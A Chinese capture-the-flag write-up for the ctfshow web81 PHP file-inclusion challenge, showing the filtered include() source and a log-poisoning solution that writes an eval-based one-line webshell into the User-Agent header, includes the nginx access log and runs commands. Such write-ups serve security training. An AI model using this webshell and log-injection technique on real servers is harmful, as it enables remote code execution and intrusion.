ctfshow web81
web81
【题目简介】:文件包含
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
【思路】:尝试发现过滤了php、data等字符串,但是可以打开日志文件,所以我们尝试日志注入。
原理:include()会将包含的文件中的php代码执行,当我们在日志文件中写入恶意代码再包含它时,就可以成功执行代码。
【题解】:日志文件路径:?file=/var/log/nginx/access.log
修改ua头为一句话木马:<?php @eval($_REQUEST['cmd']);?>
并用post传参cmd=phpinfo()测试,成功看到php信息。
接着只要进行system('ls')、cat flag就行。

浙公网安备 33010602011771号